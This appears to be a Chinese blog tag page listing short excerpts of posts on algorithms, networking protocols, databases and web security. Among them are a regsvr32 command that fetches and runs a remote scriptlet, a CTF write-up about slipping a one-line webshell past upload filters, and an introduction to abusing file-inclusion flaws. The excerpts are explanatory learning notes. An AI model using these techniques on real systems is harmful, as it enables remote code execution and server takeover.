标签:网络安全
快速排序 在解释之前,先上一张快排的图,我发现直接看图理解算法更简单 首先需要了解的是,快速排序的过程是递归调用的。 步骤: 先选出一个参考值,用来进行比较。这个参考值可以从待排序的数组里任选一个,一般选择第一个或者最后一个。 在选出一个参考值之后,开始遍历数组,把比参考值小的放到它的左
以前在数据结构的书上学过二叉树的遍历,老师讲了前序、中序、后序遍历三种,但是只是讲了一下概念,在纸上画一下遍历的过程,并没有讲代码的实现。 算法思想 先序遍历 前序遍历的顺序是 根节点-左子树-右子树 。意思是从根节点开始,要一直访问左子树,直到没有左孩子,然后访问右子树。 (图片来自
  因为国庆放假和最近一直在换系统的缘故有一段时间没有更新。这是我在ubuntu上写的第一篇文章;   打开题目得到如下源码: 1 <?php 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 4 $_SERVE
TCP TCP,Transmission Control Protocol 传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议。通俗来讲,TCP就是双方通信的一个规范标准,负责对数据的传输进行一定的控制。TCP 报文格式如下: 现对其中的结构做个简单介绍 源端口号就是指
三个时间复杂度为 O(n^2)的排序算法 排序有很多种,有些算法连名字都没听过,经过这段时间的刷题,我在这里总结一下几个常见的排序。我们都知道,算法是要考虑时间复杂度和空间复杂度的,所以我把算法分了三类,分别是时间复杂度是 O(n^2)、O(nlogn)、O(n)。注意这里的时间复杂度
在 leetcode 上做到了一道题,让返回一个链表的深拷贝,感觉很有意思,记录一下。 深拷贝和浅拷贝 什么是浅拷贝?当你在拷贝一种数据结构的时候(结构体、类、map...),如果拷贝的只是这个数据结构的引用,那么这就是浅拷贝 举个例子(浅拷贝) 此时有一个 map,暂且命名为 "s",存
原文链接:blog 在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。 命令语法如下: regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll 原理则是利用com组件的s
一、DNS层次结构 二、DNS工作交互、DNS缓存 详细流程(来自keycnd.com): 三、DNS传输层协议 DNS使用的传输层协议是UDP,UDP没有握手的过程,也没有流量控制和拥塞控制来限制速度。整个传输效率比TCP要高,满足DNS的核心需求。
0x01  题目 0x02  解题过程 尝试把一句话木马原封不动上传,提示需要image。    那行,咱继续尝试各种文件上传姿势。首先改Content-Type为image/jpeg。        看来后缀名不能为php,那么再改各种后缀名试试,例如,php3,php4,ph
数据库的事务对数据并行访问的时候,有可能会出现一些问题,因此数据库设置了四个不同的隔离级别来解决问题。 在 MySQL 数据库的隔离级别可以分为四层,分别是读未提交、读提交、可重复读和串行化。与之对应出现的问题有脏读、幻读、不可重复读。 隔离级别 读未提交(read uncommited
经常都在听说 https ,在谷歌浏览器上浏览不是 https 的网站,都会提示网站不安全。那到底什么是 https ,以前大概了解过一点点,但是对它的原理则是很模糊,趁着这次作业的机会,好好看看一下协议的实现方式。 http 谈 https 之前先说一下 http, http 是位于应
一、用自己的语言描述get、post、Accept、Referer、User-Agent、host、cookie、X_Forwarded_for、Location各请求头的含义 1. GET http请求方法,从浏览器获取一个资源 2. POST 提交数据、账号密码等,加密传输 3. Ac
信道本身是不可靠的,可靠性传输就是在传输层在不可靠的信道基础上实现可靠性传输。 网络信道不可靠的点 1. 数据在传输的过程中有可能回受损(本文主要说明这个问题) 2. 数据在传输的过程中有可能回丢失(下一篇文章说明) 传输层的可靠性协议就是解决上面两个问题的 服务模型 从应用层的角度来,
远控有两个方向:内向外,外向内 如果需求是 ,外网连接内网的主机,不需要看屏幕的,直接vpn+vnc, 如果需要看屏幕,看对方的操作步骤的话,https://www.sangfor.com.cn/product/safety-content-security-ac.html 依赖这种AC产
给定两个以字符串形式表示的非负整数 num1 和 num2 ,返回 num1 和 num2 的乘积,它们的乘积也表示为字符串形式 示例: 输入: num1 = "2", num2 = "3" 输出:“6” 思路 按照平时计算乘法的方式:竖式乘法。 把 num1 和 num2 的每一位都分
在大多数编程语言中,字符串是可以直接通过下标访问的,但是在使用 go 语言的时候,直接使用下标访问有时候会出现一些乱码。 数组 在解决这个问题之前,要先了解一个东西--数组:数组是用于存储多个相同类型数据的集合。并且数组在申请内存的时候,是一次申请一块连续的内存。比如我们创建一个数组,里
  在对网站进行安全测试时,常常会通过目标站点存在的文件包含漏洞读取目标服务器中的重要配置文件信息上传木马文件从而达到最理想的控制目标服务器的效果。为了更好的利用该漏洞,对相关知识进行总结   0x00 常见文件包含函数 include、include_once、require、requi